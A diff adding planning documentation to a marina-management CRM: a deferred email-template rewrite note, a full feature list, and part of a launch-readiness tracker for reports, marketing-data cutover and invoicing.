+Searched the repo + git history (commits back to the initial `67d7e6e Initial
+commit: Port Nimara CRM`) for legacy CRM email templates that could be
+lifted verbatim or used as a tonal reference for the rewrite. **None found.**
+
+The codebase was built from scratch; there's no archive directory, no
+import dump, and no commits ever contained "old-system" template HTML.
+
+## What this task needs
+
+A full refactor of the four signing-lifecycle emails to a luxury-port
+brand voice, with per-port branding flow:
+
+1. **Invitation** (`signingInvitationEmail`) — currently functional but
+   utilitarian copy. Subject format Matt called for:
+   `"{firstName}, your EOI for {portName} is ready to be signed"`.
+2. **Reminder** (`signingReminderEmail`) — same recipient, follow-up nudge.
+3. **Completion** (`signingCompletedEmail`) — sent with the signed PDF attached.
+4. **Cancelled** (`signingCancelledEmail`) — added 2026-05-15 alongside the
+   cancel-with-notify modal.
+
+Each template should have **per-port** branding parameters:
+
+- Port name + signature block
+- Primary brand color (already plumbed via `BrandingShell`)
+- Optional header/footer HTML overrides (`branding_email_header_html` /
+  `_footer_html` settings)
+
+## Source-of-truth flow before unblocking
+
+Matt to paste / share the legacy templates from the prior CRM (likely
+NocoDB-era or a separate email tool — not committed to this repo). Once
+shared, lift the copy verbatim where possible; otherwise match
+**structure + tone + voice** carefully.
+
+Current files to refactor:
+
+- `src/lib/email/templates/document-signing.tsx` (4 templates)
+- `src/lib/email/templates/portal-auth.tsx` (activation + reset)
+- `src/lib/email/templates/inquiry-client-confirmation.tsx`
+- `src/lib/email/templates/inquiry-sales-notification.tsx`
+
+## Status
+
+DEFERRED until the legacy copy is supplied or Matt approves a from-scratch
+draft. The structural plumbing (per-port branding, sendEmail with
+attachments, EMAIL_REDIRECT_TO safety, cancel-with-notify wiring) all
+landed in earlier tasks — only the copy rewrite remains.

docs/features-list.md

@@ -0,0 +1,234 @@
+# Port Nimara CRM — Feature List
+
+A complete, purpose-built CRM for marina/port management: a single integrated workspace for sales, berths, documents, communications, and reporting, with the public website's berth feed and enquiry intake flowing directly into it. Multi-tenant by design — one branded instance per port.
+
+> Scope note: this list covers the features ready for the beta launch. The new client portal, the tenancies module, and the new invoicing module are still being finalised and are not included here.
+
+---
+
+## Platform foundations
+
+Apply across every feature area:
+
+- **Purpose-built relational database (PostgreSQL)** modelled specifically for marina sales — fast on large data sets, rich relationships between entities (clients, companies, yachts, berths, deals, documents), and enforced data integrity.
+- **Real-time updates.** Edits, stage changes, file attachments, and completed signings propagate to every open window within a second.
+- **Per-port branding and configuration.** Each port has its own URL slug, logo, primary colour, default currency, timezone, and email templates, applied automatically to emails, PDFs, and the in-app shell.
+- **Granular role-based permissions.** Defined per resource (clients, berths, documents, expenses, reports, etc.) with separate view / create / edit / delete / export verbs. Per-user overrides on top of per-role definitions.
+- **Full audit trail.** Every meaningful change (who, what, before-and-after, when) recorded, retained 90 days, and searchable — surfaced in the activity feed, field-history popovers, and admin audit log.
+- **Backups and operational tooling.** Automatic daily database backups, weekly cleanup, configurable retention, and a built-in system-monitoring dashboard.
+- **Background job queue.** PDF generation, email sending, exports, webhook retries, and bounce polling run on a managed queue so the interface stays responsive.
+- **GDPR-ready.** One-click Article 15 data exports per client, automatic 30-day cleanup of export bundles, and a permissioned hard-delete flow for Article 17 requests.
+- **Pluggable file storage.** Object storage (S3-compatible) by default, with a one-command migration script to switch backends.
+
+---
+
+## 1. Sales pipeline
+
+- **Kanban board** across seven canonical stages (Enquiry → Qualified → Nurturing → EOI → Reservation → Deposit Paid → Contract) with drag-and-drop, per-column counts, and completed-deal hiding.
+- **List view** with sorting, filtering, paging, card / table toggle, bulk actions, and saved views per user.
+- **Deal detail page** with tabs for overview, EOI, contract, reservation, documents, contact log, notes, and timeline. Every field is inline-editable in place.
+- **Multi-berth interests.** A single deal can attach multiple berths with three independent flags: which berth is primary, which are publicly "under offer", and which are included in the EOI bundle.
+- **Auto-advancing stages.** Deposits hitting their expected amount, EOI completion, contract signing, etc. move the deal forward automatically; staff can override.
+- **Pipeline rules engine.** Seven configurable triggers (EOI sent, EOI signed, deposit received, contract signed, deal archived, deal completed, berth unlinked), each with auto / suggest / off modes and a per-port target berth status. Admin-tunable.
+- **Outcomes.** Terminal outcomes (won, lost to another marina, lost unqualified, lost no response, cancelled) captured via an outcome dialog with required reason.
+- **Tags, notes, contact log, and activity timeline** on every deal.
+- **Saved views and recently-viewed.** Pin reusable filter+sort snapshots; recently-viewed items appear in the topbar.
+- **Lead scoring badge** and **qualification checklist.** Per-port qualifying criteria are admin-defined; each deal shows a checklist and derived score.
+- **Bulk actions.** Change stage, add/remove tags, archive — with confirmation dialogs and audit-logged outcomes.
+- **Pipeline summary on each client.** All open and historic deals roll up onto the client detail page.
+
+---
+
+## 2. Berths
+
+- **Catalog with list and card views**, filterable by status, area, and dimensions; every field inline-editable on the detail page.
+- **Public berth feed** at `/api/public/berths` and `/api/public/berths/[mooringNumber]` for the marketing site; status computed with a clear precedence (Sold > Under Offer > Available), served from a 5-minute cache.
+- **Versioned per-berth PDFs.** Every upload creates a new version; the current version is live. Three-tier automatic parsing (form-fields → OCR → optional AI), with mooring-number mismatch flagging.
+- **Per-port brochures.** Multiple brochures per port with one enforced default; same upload + version flow as berth PDFs.
+- **Send-berth-PDF dialog.** Branded email composition that attaches the berth PDF (or a signed-URL link when over the size threshold).
+- **Berth recommender.** Pure-SQL ranking surfacing matching berths per deal via a four-tier ladder (A/B/C/D); Tier B uses heat scoring with admin-configurable weights.
+- **Demand heat scoring.** Per-berth demand intensity, shown on the dashboard widget and each berth's detail panel.
+- **Active interests popover.** Hover/tap any berth to see which deals are currently linked.
+- **Bulk price edit.** A sheet for updating prices across many berths at once.
+- **Bulk-add berths wizard** for onboarding inventory in batches.
+- **Catch-up wizard** to reconcile legacy state when migrating berth data.
+
+---
+
+## 3. Yachts
+
+- **Polymorphic ownership.** A yacht can be owned by a client or a company; respected throughout search, documents, pipelines, and reports.
+- **Ownership history.** Every transfer recorded with date and parties; previous owners visible from the yacht detail.
+- **Yacht transfer dialog** for moving a yacht between owners (client → client, client → company, etc.) with audit trail.
+- **Inline editing** of all dimensions and identifiers; dimensions normalised and validated.
+- **Reusable yacht picker** — the same searchable picker appears when creating a deal, attaching a document, or filing under an entity.
+
+---
+
+## 4. Companies & memberships
+
+- **Companies list and detail** with tabs for overview, members, owned yachts, and files.
+- **Members management.** Add/remove members with active/inactive state and roles; membership reach feeds the documents projection so a client sees relevant company files automatically.
+- **Polymorphic ownership.** Companies can own yachts and be the contractual party on a deal.
+- **Files tab** showing both directly-attached files and files reaching through related entities.
+
+---
+
+## 5. Clients
+
+- **Single detail page** with tabs for overview, deals, yachts, companies, files, contact log, and notes.
+- **Inline editing everywhere** — name, addresses, phone numbers, emails, sales rep, communication preferences.
+- **Multi-channel contacts.** Multiple emails and phone numbers per client, with primary flagging and canonical phone normalisation for reliable search and matching.
+- **Audit-driven field history.** Per-field history icon shows who changed a value, when, and the previous value.
+- **Tags, notes, and contact log** via shared components for a consistent experience.
+- **Pipeline summary.** All a client's deals (open and closed) roll up onto the detail page.
+- **Smart archive / smart restore.** Archiving cascades related state intelligently; restore previews exactly what comes back.
+- **Hard-delete with bulk variant** behind a permission gate.
+- **GDPR Article 15 export button.** One click queues a ZIP bundle (JSON + readable HTML) and emails a signed download link; auto-deletes after 30 days.
+- **Dedup engine.** Surfaces probable duplicates and offers a merge flow that consolidates linked records, notes, files, and audit trail.
+- **Send-documents dialog** for branded multi-attachment sends from any client.
+
+---
+
+## 6. Documents hub
+
+- **Folder tree** with nestable subfolders, drag-and-drop move, rename, and soft-rescue delete (children re-parent rather than disappear).
+- **System folders per entity type** — `Clients/`, `Companies/`, `Yachts/` — auto-populated with per-entity subfolders on first use.
+- **Auto-filing on signing.** When a signing envelope completes, the signed PDF lands in the correct entity folder automatically, based on who owns the deal.
+- **Aggregated view across relationships.** A client's files plus files attached to their companies and yachts, grouped under clear headings (Directly Attached / From Company / From Yacht / From Client), each group capped for skimmability.
+- **Rich file preview.** PDFs render inline; images preview at sensible sizes; everything else gets an icon, type label, and download.
+- **Upload-for-signing dialog.** Send any file straight into a signing flow from the hub.
+- **In-flight workflow tracker** — which envelopes are mid-signing across the aggregated reach.
+- **Permissions** scoped by role: separate `view` and `manage_folders` verbs; system folders immutable via API.
+- **Recent files** surfaced in the topbar and global search.
+
+---
+
+## 7. EOI generation & document signing
+
+- **Two pathways from one model.** EOIs generated through document-signing templates (primary) or filled into the in-app EOI PDF directly; both share the same data context.
+- **Multi-berth EOI ranges.** Bundled berths render a compact range ("A1–A3, B5–B7") in the Berth Number field; the CRM shows the full set as chips. Catalogued merge tokens are enforced at template-creation time.
+- **Configurable signing order.** Parallel or sequential per port, with a tri-state default (use template default / always parallel / always sequential).
+- **Automation modes** per deal: manual, sequential auto (advances on each signature), or concurrent auto (everyone signs at once). Mode changes audit-logged.
+- **Idempotent webhook handling.** Retries don't double-write; status changes normalised across both supported API versions; 5-minute polling safety net for missed webhooks.
+- **Rejection reasons captured** when a signer declines.
+- **Reminders and voids** surfaced directly from the deal detail.
+- **Embedded signing card** for in-app signing where appropriate.
+- **External EOI upload.** Record an EOI signed outside the system (PDF + counterparty list).
+- **Webhook health card** in admin showing recent deliveries, failures, and a "test now" action.
+- **Per-port signing configuration** — provider instance, API key, signing order, redirect URL.
+
+---
+
+## 8. Email send-outs
+
+- **Per-port branded templates.** Every transactional email (invites, signing notifications, residential and berth enquiries, contract comms, digests, etc.) shares one branded shell that applies the port's branding automatically.
+- **Configurable send-from accounts.** Per-port human send-from (e.g. `sales@portnimara.com`) and automation send-from (e.g. `noreply@portnimara.com`). SMTP/IMAP credentials encrypted at rest; APIs return only "is set" markers.
+- **Compose dialog** with rich body (markdown rendered safely with a strict allow-list), multi-attachment, and live preview.
+- **Smart attachment handling.** Files over a per-port size threshold ship as 24-hour signed-URL links instead of attaching.
+- **Send rate limit** (50 sends/user/hour) to protect deliverability.
+- **Email audit log.** Every send recorded with recipient list, body, attachments, and links; admin-browsable.
+- **Inbound bounce monitoring.** A scheduled job (every 15 minutes) reads non-delivery reports and matches them to the original send.
+- **Email threads** — replies to a CRM-originated email are threaded under the original.
+- **Tracked-link composer.** Per-recipient tracked links for open and click-through attribution.
+- **Per-port template overrides** from admin, without code changes.
+- **Notification digests.** Hourly digest assembled from each user's unread notifications above a threshold.
+
+---
+
+## 9. Reports
+
+- **Sales report** with KPI strip (deals open, EOIs sent this month, deposits received, win rate, average days-in-stage, conversion by source, etc.), pipeline funnel, stage-velocity chart, source-conversion chart, rep leaderboard, deal-heat panel, win-rate-over-time line, and supporting detail tables. All filters (stage, lead category, outcome) apply live.
+- **Operational report** with an operational heatmap and signing-box plot for spotting signing/operations bottlenecks.
+- **Custom report builder (MVP).** Pick an entity, choose columns, pick a date range, and run. Four entities live at launch; more entities and column-level controls roll out incrementally.
+- **Save / load / save-as templates.** Any report configuration saved as a named template with an optional shareable link, re-runnable on demand.
+- **Scheduled runs.** Weekly, monthly, or quarterly cadences; runs on schedule and optionally emails recipients a branded PDF. Run history browsable in admin.
+- **PDF exports** server-side rendered with a branded cover page; CSV and Excel exports available client-side from every list.
+- **Status badges** for each scheduled run.
+- **Charts** combining standard bars/lines/pies with dedicated heatmap and funnel rendering.
+
+---
+
+## 10. Admin
+
+- **Organised admin surface** grouping all settings into clear domains: Brand & Communication, Sales Workflow, Catalog, Identity & Access, Inbox & Data Quality, Integrations, and System & Observability.
+- **Permissions UI.** Browse roles, edit role definitions, browse users, and assign per-user overrides via a visual permission matrix.
+- **Settings registry.** A single, validated source of truth for every configurable setting, scoped per port.
+- **System monitoring dashboard.** Service health, queue depth, and reconcile state in one place.
+- **Port configuration** for adding new ports with their own branding, currency, timezone, and email background.
+- **Self-service customisation.** Tags, vocabularies, custom fields, and supplemental info-request forms that tenants can shape themselves, without engineering involvement.
+- **Onboarding checklist** to guide new ports through setup.
+
+---
+
+## 11. Search
+
+- **Topbar search across every entity** — clients, residential clients, yachts, companies, deals, berths, invoices, expenses, documents, files, reminders, brochures, tags, plus navigation/settings deep-links.
+- **Multiple match strategies.** Full-text for documents, partial-word for names and titles, fuzzy trigram matching ("Jhon" finds "John"), canonical phone-number matching that ignores formatting, and direct ID lookup.
+- **Affinity ranking.** Recently-touched results are promoted.
+- **Cross-port super-admin pass.** Super-admins see other-port matches in a separate, clearly-labelled section.
+- **Permission-aware.** Viewers don't see results they couldn't open.
+- **Mobile search overlay** designed for thumb reach.
+- **Highlighted match terms** in each result.
+- **Admin search across the seven IA domains** — every admin page reachable from the topbar by keyword.
+
+---
+
+## 12. Activity feed & notifications
+
+- **Dashboard activity widget** showing recent meaningful events across the port.
+- **Per-entity activity feed** on every client, deal, berth, yacht, and company detail page.
+- **Standardised verb vocabulary** — created, updated, archived, restored, merged, transferred, sent, signed, completed, rejected, voided, etc. Legacy events re-mapped to the current vocabulary.
+- **My reminders rail** on the dashboard surfacing due and overdue follow-ups.
+- **Reminders engine** with admin configuration (cadence, severity, recipients).
+- **Alert engine.** Rule-based alerts evaluated every 5 minutes; admins define rules, the engine generates notifications when they fire.
+- **In-app inbox** in the topbar.
+- **Hourly notification digest email** when unread items pass a threshold.
+
+---
+
+## 13. Analytics
+
+- **Website-analytics dashboard** in the CRM: realtime visitors panel, world map, sessions list, session detail sheet, weekly heatmap, pageviews chart, top referrers / pages / devices, and per-metric detail shells.
+- **Per-port project linking** to a website analytics project — CRM outcome events (EOI sent, deposit received, etc.) cross-post so marketing and sales metrics share a timeline.
+- **Email-open pixel.** Branded sends include an open-tracking pixel; opens recorded against the original send and shown in the send audit log.
+
+---
+
+## 14. Mobile & responsive design
+
+- **Dedicated mobile shell** on small viewports: mobile topbar, bottom tab bar, and a "more" sheet for overflow navigation.
+- **Card mode toggle on every list** — switch between table and card view; card view defaults on mobile.
+- **Mobile search overlay** designed for thumb reach.
+- **Responsive tab strips** that collapse intelligently.
+- **Touch-tuned form controls** — phone input, country picker, and timezone picker built for mobile keyboards.
+
+---
+
+## 15. Security & compliance
+
+- **Authentication via `better-auth`** with session cookies; branded login, reset-password, and set-password surfaces.
+- **CRM invitations** via a token-based admin-driven invite flow.
+- **Granular RBAC.** Per-resource, per-action permissions applied at the service layer, not just the UI.
+- **Audit log everywhere.** All meaningful actions recorded with severity tier; 90-day retention configurable.
+- **GDPR Article 15 exports** (one-click bundle, signed download, 30-day cleanup) and Article 17 hard-delete with restore preview.
+- **PII masking at audit-write time.**
+- **Magic-byte PDF validation** on every upload path (in-server and presigned-PUT).
+- **Timing-safe webhook verification** for document-signing callbacks.
+- **Defense-in-depth port scoping** on every aggregated query — joins double-check `port_id`.
+- **30-second timeouts on object-storage calls** so a slow host can't stall the application.
+- **Per-port encryption-at-rest** for SMTP/IMAP credentials.
+- **Pre-commit hooks block accidental secret commits** (`.env` files including `.env.example`).
+
+---
+
+## 16. Multi-tenancy at port level
+
+- **Per-port URL slug** — own URL prefix, brand, and configuration.
+- **Per-port branding** — logo, primary colour, default currency, timezone, branded email background.
+- **Per-port email templates** — every transactional template overridable per port from admin.
+- **Per-port signing configuration** — provider API version, API key, signing order, redirect URL.
+- **Per-port storage backend** — S3-compatible or filesystem, switchable via migration script.
+- **Per-port currency and timezone** flowing through the scheduler, dashboard timezone-drift banner, recommender deposit defaults, and every report.
+- **Per-port sales settings** — qualification criteria, pipeline rules, recommender weights, send-from accounts, and AI budgets, all scoped to the port.
+- **Cross-port super-admin search** — super-admins see other-port matches in a clearly-labelled secondary section; otherwise queries scope to the current port.

docs/launch-readiness.md

@@ -0,0 +1,646 @@
+# Launch Readiness — Pre-Prod Initiative
+
+> **Scope:** the user enumerated five launch-blocking initiatives on
+> 2026-05-27. This doc is the single home for all of them so we can
+> track progress without losing items between sessions. Companion to
+> `docs/superpowers/audits/active-uat.md` (which keeps the live UAT
+> findings) and `docs/BACKLOG.md` (master backlog index).
+>
+> Status tags per item: `OPEN | IN PROGRESS | SHIPPED in <hash> | BLOCKED | DEFERRED`.
+
+## Initiative 1 — Reports overhaul
+
+**Status:** IN PROGRESS · Active phase
+
+Goals (per user, 2026-05-27):
+
+- Cover all four report categories: **Sales performance**, **Financial**,
+  **Marketing / funnel**, **Operational**.
+- Template system: load template → modify → re-save OR save as new.
+- Rich data density: more charts, more graphs, more KPIs.
+- Output formats: **PDF + CSV + Excel** for each report.
+- Scheduled reports: cron-driven; auto-email is **optional** (so the
+  admin can schedule a run without forcing an email blast).
+- Custom builder: full ad-hoc (pick entity, columns, filters, group-by),
+  save as template — but quality-first; we don't ship a janky composer.
+- UI/UX: stunning, fluid, beautiful. Within the existing white/navy
+  brand language — no off-brand experimental themes.
+
+Decisions locked (2026-05-27):
+
+- **Currency**: port branding default
+- **Rep visibility**: port-scoped admin setting (default depends on
+  team size; PN is single-rep so default = full team)
+- **AR aging buckets**: standard 30-day (current / 1-30 / 31-60 /
+  61-90 / 90+)
+- **Custom builder entity scope**: all 10 entities
+- **Pulse data**: fold into Sales report
+- **Inquiry-link audit**: yes, audit + fix; no website-repo edits
+  required for the audit itself (link logic is server-side)
+- **Scope cut for launch**: Sales + Operational ship first as
+  fully-functional reports; Marketing + Financial ship in tandem with
+  their data sources being wired (see Initiatives 2c + 2d below).
+
+Phases (status snapshot 2026-05-27):
+
+1. ✅ Foundation + UX overhaul — landing page (within existing
+   design system); charts library audit done; ExcelJS installed.
+2. ✅ Sales Performance + Operational builders — full report pages
+   with KPIs / charts / tables; client-side Export to CSV + Excel +
+   PDF; server-side PDF endpoint for branded output. _See gaps
+   below._
+3. ❌ Marketing report — NOT BUILT. Pending Init 1b cutover.
+   **Beta gate (2026-06-02):** the `marketing` kind in
+   `reports/[kind]/page.tsx` now returns `notFound()` (via
+   `UNAVAILABLE_NEW_KINDS`) instead of the "in development" placeholder,
+   so the beta reports surface reads as complete — the landing page only
+   advertises Sales / Operational / Financial / Custom, and the
+   hand-typed `/reports/marketing` URL 404s. **Remove the
+   `UNAVAILABLE_NEW_KINDS` entry when this report ships.** Decision: keep
+   the reports page live for beta rather than hiding it behind a module
+   toggle — 3 of 4 reports are fully built + verified (export, templates,
+   scheduling) and strictly beat the dashboard-only fallback.
+4. ✅ Financial report — **SHIPPED in b690fb8d.** Built on the canonical
+   payments + expenses tables (invoices module stays OFF); the
+   invoice-centric spec was reframed onto the payments model
+   ("outstanding AR" → expected-deposit shortfall; "AR aging" →
+   outstanding deposits by deal age). 7 KPIs, 6 charts, 4 tables, port-
+   currency normalised, 1y default range, templates + export. Marketing
+   is the only remaining unbuilt report.
+5. ⚠️ Custom (ad-hoc) report builder — partial ship.
+6. ✅ Scheduled reports with optional emailing — BullMQ poll +
+   render path live; recipients optional; PDF-only output.
+7. ✅ Templates — load / modify / save / save-as / URL deep-link.
+
+Open considerations carried forward:
+
+- **Chart library mix.** Project already has `recharts` (simple bar/line/pie)
+  and `echarts` (heatmaps, funnels, complex). Lean on each where it fits;
+  don't add a third unless something specific is missing.
+- **PDF cover-page treatment.** Each report PDF should open with a
+  branded cover (port logo, title, date range, generated-on stamp). Reuse
+  the existing `branded-document.tsx` shell.
+
+Working spec: `docs/reports-content-spec.md` (per-category KPIs +
+charts + tables proposed; updated as we walk through each).
+
+### Reports — what's left (gap audit 2026-05-27)
+
+Comparing the working spec against shipped code, here's the bucketed
+backlog. **Items marked LAUNCH-BLOCK** are needed for the beta cutover;
+everything else is post-launch polish unless promoted.
+
+#### Cross-cutting capabilities (apply to every report)
+
+- ⚠️ **Period comparison toggle** — "this period vs prior period" delta
+  arrows on KPI cards. **Sales: SHIPPED locally (2026-05-31)** — a
+  "Compare to prior period" toggle in the header computes an
+  equal-length preceding window (`previousPeriodBounds`), the API
+  recomputes KPIs for that window behind `?compare=1`, and the five
+  window-derived tiles (Won, Lost, Win rate, Avg time-to-close, New
+  leads) render colour-correct "vs prior" deltas. Point-in-time tiles
+  (Active interests, Pipeline value) intentionally have no delta.
+  Persisted in the saved-template config. TDD'd:
+  `previousPeriodBounds` + `computeSalesKpiComparison` unit tests.
+  Operational already rendered period-start deltas. **Still open:** the
+  spec's "on every report" — Operational uses a different
+  "vs period start" baseline; reconcile the two semantics if a single
+  consistent comparison is wanted.
+- ✅ **Rep multi-select filter** — **SHIPPED in b97f6e94** (Sales).
+  Dynamic "Assigned to" multi-select populated from a window-independent
+  `getRepFilterOptions` (distinct assigned reps port-wide); hidden when
+  the port has no assigned interests.
+- ✅ **Source multi-select filter** — **SHIPPED in b97f6e94** (Sales).
+  Static Source multi-select (website / manual / referral / broker /
+  other) allowlisted against `SOURCES`. Both filters thread through the 5
+  filtered Sales queries via a pure, unit-tested `parseSalesFilters`.
+  _Still open: replicate both on Operational + the other report pages._
+- ✅ **Empty-state copy per report** — **SHIPPED (2026-06-02).** A
+  window-independent `hasData` flag on the Sales / Operational /
+  Financial routes drives a shared `<ReportEmptyState>` hero (named icon
+  - one-line body + onboarding action button) when the port has no
+    underlying data at all — distinct from the per-chart "no data in this
+    window" states, which already degraded gracefully. Targets: Sales →
+    Interests, Operational → Berths, Financial → Expenses. Spec:
+    `docs/superpowers/specs/2026-06-02-reports-polish-design.md`.
+
+#### Phase 2 — Sales report gaps
+
+- ✅ **Operational-style filter set on Sales** — stage / lead-cat /
+  outcome + period comparison + rep multi-select + source multi-select
+  all shipped (rep/source in b97f6e94). Sales filter set is complete.
+
+#### Phase 2 — Operational report gaps
+
+- ⚠️ **Operational-specific filters**: **Area SHIPPED (2026-06-02)** —
+  a berth-area scope (`parseOperationalFilters` +
+  `getOperationalAreaOptions`, threaded through the 5 berth-derived
+  service fns) re-queries the berth-count KPIs, occupancy-by-area,
+  utilisation heatmap, and vacant lists for the selected areas; trend +
+  tenancy/signing/docs panels stay port-wide with a "scoped to {areas}"
+  caption. Browser-verified (area A: total berths 117→11). **Status /
+  tenure type / document type deferred** — Status proved a light filter
+  here (can't retro-apply to historical trend charts; the vacant lists
+  are available-by-definition); see
+  `docs/superpowers/specs/2026-06-02-reports-polish-design.md`.
+
+#### Phase 3 — Marketing report (LAUNCH-BLOCK if Marketing is in beta scope)
+
+Not built. Spec at `docs/reports-content-spec.md` § Report 03 calls for:
+
+- 6 KPIs (inquiries, inquiry→interest %, inquiry→EOI %, inquiry→won %,
+  top source, avg time-to-respond)
+- 6 charts (inquiries by source donut, source ROI stacked bar, full
+  funnel, conversion trend, country geo map via `react-simple-maps`,
+  time-to-respond histogram)
+- 3 tables (top-converting sources, recent inquiries, stuck inquiries)
+- Filters: specific source, mooring, UTM campaign
+
+**Blocker:** depends on the website actually sending UTM params (Init
+1b step 4 — CRM-side shipped, website-side pending) AND on inquiry
+data flowing from the new intake endpoint (Init 1b step 1 — pending
+website env flip).
+
+#### Phase 4 — Financial report ✅ SHIPPED in b690fb8d
+
+**Decision taken (2026-06-02):** ship on the canonical `payments` +
+`expenses` tables; invoices module stays OFF. The invoice-centric spec
+(§ Report 02) was reframed onto the payments model so the report is
+populated rather than 90% empty:
+
+- 7 KPIs: revenue collected (net of refunds), deposits, balance,
+  pipeline (expected deposits), outstanding deposits (expected−collected
+  on open deals = the AR analogue), expenses, net contribution.
+- 6 charts: revenue by month (deposit/balance, with month/quarter/year
+  toggle), collection funnel (EOI → deposit → contract → won),
+  outstanding deposits by deal age (AR-aging analogue, no invoice due
+  dates exist), cash flow (inflow vs outflow), expense breakdown donut.
+- 4 tables: outstanding deposits, recent payments, refund/write-off log,
+  expense ledger.
+- All money normalised to port currency; 1y default range; templates +
+  CSV/XLSX/PDF export.
+
+**Follow-up (deferred, not launch-blocking):** if the user later flips
+the invoices module ON, add invoice-sourced AR (due dates → true aging)
+
+- the invoice/payment-status/billing-entity filters from the original
+  spec. Browser-verified against live data (0 payment rows in dev → revenue
+  $0 correct; 165 expenses populate the expense surfaces).
+
+#### Phase 5 — Custom builder gaps
+
+v1 ships 4 entities; full spec wants 10 + advanced composition.
+
+- ❌ **Missing entities**: yachts, companies, invoices, expenses,
+  documents, websiteSubmissions, payments. Each is a registry-only
+  extension — add a `CustomEntityDefinition` to
+  `src/lib/reports/custom/registry.ts`. ~30 min per entity.
+- ❌ **Filters beyond date range** — spec wants per-column filter rows
+  (column → operator → value, AND/OR between rows). Today only the
+  date range filter exists.
+- ❌ **Group by + aggregate** — single group-by dimension + per-column
+  aggregate (count / sum / avg / min / max). Today only a flat list.
+- ❌ **Column sort** — pick a column + direction. Today rows return
+  with the registry's hardcoded `orderBy`.
+- ❌ **Live preview as you build** — spec wants debounced re-render on
+  filter / column change. Today the rep clicks "Run query" to fetch.
+- ❌ **Column whitelist per role** — PII columns (`email`, `phone`)
+  should be gated by `clients.view_pii`. Today all listed columns are
+  available to anyone with `reports.export`.
+- ❌ **Run-once vs Save-as-template** — the spec asks for three buttons
+  on save (Run once / Save as template / Update existing). Today only
+  the template-save path exists.
+
+#### Phase 6 — Scheduled runs gaps
+
+- ❌ **Custom cron strings** — three hardcoded cadences (weekly Mon 9 ·
+  monthly 1st 9 · quarterly 1st 9). Spec implies arbitrary cron.
+  `nextRunFor` in `report-schedules.service.ts` switches on the enum;
+  extend to support a `cron_expression` mode.
+- ❌ **Scheduled CSV / XLSX** — only PDF is wired through the worker
+  (`renderStandaloneReportRun` in `report-render.service.ts`). For
+  CSV/XLSX, the worker would need to either run the existing client-side
+  exporter server-side (drop ExcelJS into the worker bundle) or build
+  format-specific server renderers.
+
+#### Phase 7 — Templates gaps
+
+- ❌ **"Modified ●" indicator** — when the rep changes view state after
+  loading a template, the active-template badge currently just clears.
+  Spec wants a visible "modified" marker so they know they've drifted.
+- ❌ **Personal vs port-wide scope** — schema has the `visibility`
+  column with `'private' | 'team'` but the UI always saves as port-wide.
+  The Save dialog needs a scope picker.
+- ❌ **"Owned by" attribution** — templates with `visibility='team'`
+  should show creator name. Schema captures `createdBy`; UI doesn't
+  surface it.
+- ❌ **Promote-to-port-wide affordance** — once shipped, a "Share with
+  team" action on personal templates that flips visibility.
+
+#### Net launch-readiness for reports
+
+If the launch scope is **Sales + Operational only**, reports are
+launch-ready with the polish items above as post-launch follow-ups.
+
+If the launch scope includes **Marketing + Financial**, both reports
+need to be built AND their data plumbing finished (Init 1b website
+flip + UTM forwarding for Marketing; invoices module + rep training
+for Financial).
+
+The cross-cutting filter set (period comparison, rep / source
+multi-select, empty-state copy) is the highest-value polish that's
+visible on every report — call it ~6-8 hours of work spread across
+both shipped report pages + the shared FilterBar component.
+
+---
+
+## Initiative 1b — Marketing data pipeline cutover
+
+**Status:** OPEN · Blocks the Marketing report
+
+The CRM has the **full infrastructure** for marketing intake +
+attribution; it's just not connected end-to-end.
+
+What's built:
+
+- **Email-open pixel tracking**: `src/app/api/public/email-pixel/[sendId]/route.ts`
+  - `src/lib/email/tracking-pixel.ts`. Sales sends with
+    `trackOpens=true` get a 1×1 pixel; opens record to
+    `email_send_opens` and cross-post to Umami.
+- **Umami integration**: `@umami/node` installed; `src/lib/services/umami.service.ts`
+  is the wrapper. Outcome events (EOI sent, deposit received, etc.)
+  already cross-post into Umami.
+- **Website inquiry intake endpoint**: `/api/public/website-inquiries`
+  in the CRM, paired with `/api/public/residential-inquiries`. Both
+  validate + dual-write into `website_submissions`.
+- **Website posting code**: `Port Nimara/Website/server/utils/crmIntake.ts:72`
+  has the matching POST. Just needs the env var to point at the new
+  CRM.
+
+What's NOT connected yet:
+
+1. **Website env `CRM_INTAKE_URL`** still points at the old portal (or
+   isn't set). Flipping this is a ~5-min config change inside the
+   website Nuxt deploy. After flip, every website inquiry lands in
+   `website_submissions` + auto-routes to the inquiry-triage queue.
+2. **Backfill of historical inquiries** from the old portal so the
+   Marketing report has launch-day history rather than starting from
+   zero. Reads from `client_portal_v2`'s inquiry table, inserts into
+   `website_submissions` with original `receivedAt` timestamps,
+   re-links to existing CRM clients via dedup (email/phone).
+3. **Umami funnel events on the marketing site itself**. The Umami
+   project exists; what's unclear is whether the marketing site is
+   firing `event:` calls on key actions (form submitted, brochure
+   downloaded, virtual-tour started). Audit needed.
+4. **UTM column wiring**. ✅ CRM-side SHIPPED — migration `0089_website_submissions_utm.sql`
+   adds `utm_source / utm_medium / utm_campaign / utm_term / utm_content`
+   to `website_submissions` plus a `(port_id, utm_source, received_at)`
+   composite index for per-campaign rollups. `/api/public/website-inquiries`
+   accepts the five fields in the request body and persists them on
+   insert. **Pending website-side change**: the marketing site's
+   `crmIntake.ts` POST must forward UTM params from the form's query
+   string / cookies. **Pending residential parity**: residential
+   inquiries (`/api/public/residential-inquiries`) don't go through
+   `website_submissions`; if Marketing report needs UTM attribution on
+   residential leads too, add the same columns to `residential_clients`
+   in a follow-up.
+
+Sequencing:
+
+- Step 1 is the cutover unblock (do during launch window itself).
+- Step 2 is part of Initiative 5 (data migration).
+- Step 3 is a website-side audit (Initiative 3).
+- Step 4 is a small CRM-side schema add (one migration + 4 column
+  reads). Decision pending: ship at launch or defer to Phase 2.
+
+---
+
+## Initiative 1c — Invoicing audit-and-finish
+
+**Status:** SPIKE COMPLETE · Module-toggle shipped · Financial report deferred
+
+### Audit findings (2026-05-27 spike)
+
+The CRM has two parallel money-receiving flows in active code:
+
+1. **`payments` table — canonical, in active use.** Schema comment at
+   `src/lib/db/schema/pipeline.ts:75` is unambiguous: "The CRM does
+   NOT generate invoices — clients pay banks directly. We record that
+   money was received." Linked to `interests`. `recordPayment`
+   auto-advances pipeline to `deposit_paid` when the cumulative
+   deposit total hits `depositExpectedAmount`. This is the surface
+   reps actually use; payments are recorded from the per-interest
+   **Payments** tab.
+2. **`invoices` + `invoice_line_items` table — orphaned in the UI.**
+   Full builder (line items, PDF, send, mark-paid) exists at
+   `/[portSlug]/invoices/new`. The sidebar nav entry was removed
+   earlier; only the page itself can link to `invoices/new`. Dev DB
+   has zero rows. The standalone surface is parallel infrastructure
